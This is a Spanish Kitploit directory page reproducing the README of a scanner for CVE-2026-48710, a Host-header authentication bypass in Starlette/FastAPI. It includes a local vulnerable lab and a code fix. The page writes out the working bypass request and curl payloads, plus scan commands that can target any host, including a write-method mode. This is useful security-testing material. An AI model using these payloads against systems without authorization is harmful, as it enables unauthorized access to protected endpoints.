Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
BadHost-CVE-2026-48710-Exploit — Escáner de detección para CVE-2026-48710 - Bypass de autenticación del encabezado Host en Starlette/FastAPI | Kitploit
Herramientas/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
Autenticación y AutorizaciónEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónLabs y Práctica
GitHub

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
bhanunamikaze/badhost-cve-2026-48710-exploit

BadHost-CVE-2026-48710-Exploit

Escáner de detección para CVE-2026-48710 - Bypass de autenticación del encabezado Host en Starlette/FastAPI

Ver Repositorio
1hace 2 mesesAún no revisado

BadHost — Escáner CVE-2026-48710

Escáner de solo detección para la omisión de autenticación BadHost en Starlette / FastAPI — donde el middleware de autenticación lee request.url.path en lugar de request.scope["path"], permitiendo que una cabecera Host manipulada introduzca una ruta permitida y omita la autenticación.

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette ve request.url.path == "/health" → permitido
# ASGI aún enruta a /admin → omitido

Afectado: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Corregido en: Starlette 0.46.2+


Características

  • Pasar una URL completa (https://host/path) — la ruta se extrae automáticamente como sonda
  • Carga endpoints desde una especificación FastAPI/OpenAPI JSON o YAML (archivo o URL)
  • Descubre automáticamente rutas no autenticadas para usar como candidatos de inyección
  • Prueba tanto los portadores Host como X-Forwarded-Host, dos estrategias de payload
  • Presets integrados para endpoints AI/LLM (--preset ai) y MCP (--preset mcp)
  • Salida: resumen de texto, --json, --csv
  • Progreso del escaneo en vivo a stderr; cero dependencias de terceros

Laboratorio Vulnerable Local (badhost_vuln_lab/)

Incluye dos aplicaciones FastAPI para validación local:

AppURLAuth lee
Vulnerablehttp://127.0.0.1:8000request.url.path — omitido
Corregidahttp://127.0.0.1:8001request.scope["path"] — segura
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

O sin Docker:

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

Prueba de omisión manual

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — omitido
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — corregido

Instalación

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no necesita pip install

Uso

root@kitploit:~
# URL completa única — la ruta se extrae automáticamente, sin banderas adicionales
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Múltiples URLs completas
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Añadir rutas adicionales sobre una URL completa
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Escaneo de solo lectura desde openapi.json local
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Incluir métodos de escritura (solo staging/autorizado)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Obtener OpenAPI directamente desde el objetivo
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Múltiples objetivos, salida CSV
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# Rutas predefinidas AI/LLM + MCP (no necesita OpenAPI)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid envía {} para métodos de escritura — provoca 422 de FastAPI después de la omisión de autenticación sin ejecutar el endpoint. Un resultado baseline=403 test=422 sigue siendo un hallazgo SOSPECHOSO que vale la pena investigar.
No use --openapi-body-mode minimal en producción — construye cuerpos de solicitud válidos que pueden ejecutar endpoints de escritura.


Veredictos

Solo CONFIRMADO y SOSPECHOSO aparecen en la salida. Código de salida 2 = CONFIRMADO, 1 = SOSPECHOSO, 0 = limpio.


Corrección

root@kitploit:~
# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Corregido
if request.scope["path"].startswith("/public"):
    ...

Actualice a Starlette 0.46.2+ / FastAPI 0.116.0+.


Solo para pruebas autorizadas. Escanee únicamente sistemas que posea o para los que tenga permiso explícito.

Descargar herramienta
VeredictoSignificado
CONFIRMADOBaseline 401/403 → prueba 2xx. Vulnerable.
SOSPECHOSOBaseline 401/403 → prueba 404/405/422. La puerta de autenticación parece omitida; verificar manualmente. 422 de FastAPI es especialmente significativo.
RECHAZADOProxy rechazó Host malformado (400/421) antes de la omisión
BLOQUEADOSolicitud manipulada aún denegada
ABIERTOYa accesible sin autenticación — no es este CVE